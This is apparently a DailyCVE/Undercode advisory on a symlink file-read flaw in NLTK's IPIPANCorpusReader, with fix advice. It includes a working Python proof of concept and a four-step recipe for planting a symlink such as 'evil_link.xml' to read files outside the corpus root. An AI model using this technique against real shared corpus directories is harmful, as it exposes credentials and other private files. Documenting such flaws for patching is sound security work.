IPIPANCorpusReader Symlink File Read Vulnerability (CVE ID: Pending) -DC-Sep2026-2230

Listen to this Post

The vulnerability exists in the NLTK library’s IPIPANCorpusReader class, specifically in the _get_tag() method. This method is called by public methods such as channels(), domains(), categories(), and fileids() when a caller supplies a fileids list. The _get_tag() method uses Python’s built-in open() function directly on a file path derived from user input, without any involvement of NLTK’s pathsec security module. The path is constructed via _list_header_files() or _list_morph_files_by(), which perform string replacement on the result of self.abspath() or self.abspaths(). Since FileSystemPathPointer subclasses str, the .replace() method returns a plain Python string, stripping away the PathPointer wrapper that would otherwise enforce path security checks. This plain string is then passed directly to open(). Unlike other NLTK corpus readers (e.g., CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix) that route file access through nltk.pathsec.validate_path(), this code path completely bypasses pathsec, allowing arbitrary file reads. A symlink placed inside the corpus root with a name containing no directory separators or “..” passes the existing traversal checks (which block literal “../”) and is opened directly, reading the symlink target from anywhere on the filesystem accessible by the process. The proof of concept demonstrates that a symlink named “evil_link.xml” placed in the corpus root is automatically discovered by the reader’s fileids() regex, and calling channels(fileids=[“evil_link.xml”]) returns the content of a secret file located outside the corpus root. No exception is raised. This issue is a severe variant of CWE-59 (Improper Link Resolution Before File Access) and shares the same mechanism as previously patched CVEs in NLTK for FramenetCorpusReader and NKJPCorpusReader. The vulnerability is triggered during routine, automated corpus processing without special user interaction, only requiring that an attacker can plant a symlink in a shared or multi-tenant corpus directory. CVSS v3.1 score is 5.5 (Medium) with local access, low complexity, low privileges required, no user interaction, unchanged scope, high confidentiality impact, and no integrity/availability impact.

DailyCVE Form:

Platform: NLTK Python
Version: All versions
Vulnerability: Symlink File Read
Severity: Medium
date: 2026-09-08

Prediction: 2026-10-08

What Undercode Say:

Create a temporary corpus root with a legitimate file and a symlink to a secret file
import os, tempfile
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "ipipan")
os.makedirs(corpus_root)
with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
f.write("<channel>legit</channel>")
secret_dir = os.path.join(root, "outside_ipipan_root")
os.makedirs(secret_dir)
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")
os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))
from nltk.corpus.reader.ipipan import IPIPANCorpusReader
reader = IPIPANCorpusReader(corpus_root, r"..xml")
print("Auto-discovered fileids:", sorted(reader.fileids()))
result = reader.channels(fileids=["evil_link.xml"])
print(result) Outputs: ['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

Exploit: (Educational Purposes!)

  1. Plant a symlink with a non-traversal name (e.g., “evil_link.xml”) in a corpus directory that will be used by a victim NLTK process.
  2. Ensure the symlink points to a sensitive file outside the corpus root.
  3. The victim (or automated pipeline) loads IPIPANCorpusReader with that corpus root and calls channels(), domains(), categories(), or fileids() with a fileid matching the symlink name.
  4. The reader resolves the symlink and reads the target file’s content, returning it as part of the corpus data.

Protection:

  • Apply the suggested fix: modify _get_tag() to use nltk.pathsec.validate_path() with the corpus root as required_root, or use CorpusReader.open() instead of built-in open().
  • As a temporary workaround, avoid using IPIPANCorpusReader in shared or untrusted corpus directories.
  • Ensure that corpus directories are placed in trusted locations and are not writable by untrusted users.
  • Monitor for symlinks in corpus roots and remove them if not intended.

Impact:

  • Arbitrary file read from the filesystem, exposing sensitive data (e.g., configuration, credentials, application source code).
  • Confidentiality breach in multi-tenant environments where multiple users share the same corpus directory.
  • No privilege escalation; limited to the process’s effective user permissions.
  • Can be triggered automatically during normal corpus processing, requiring no victim interaction beyond using the affected API.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top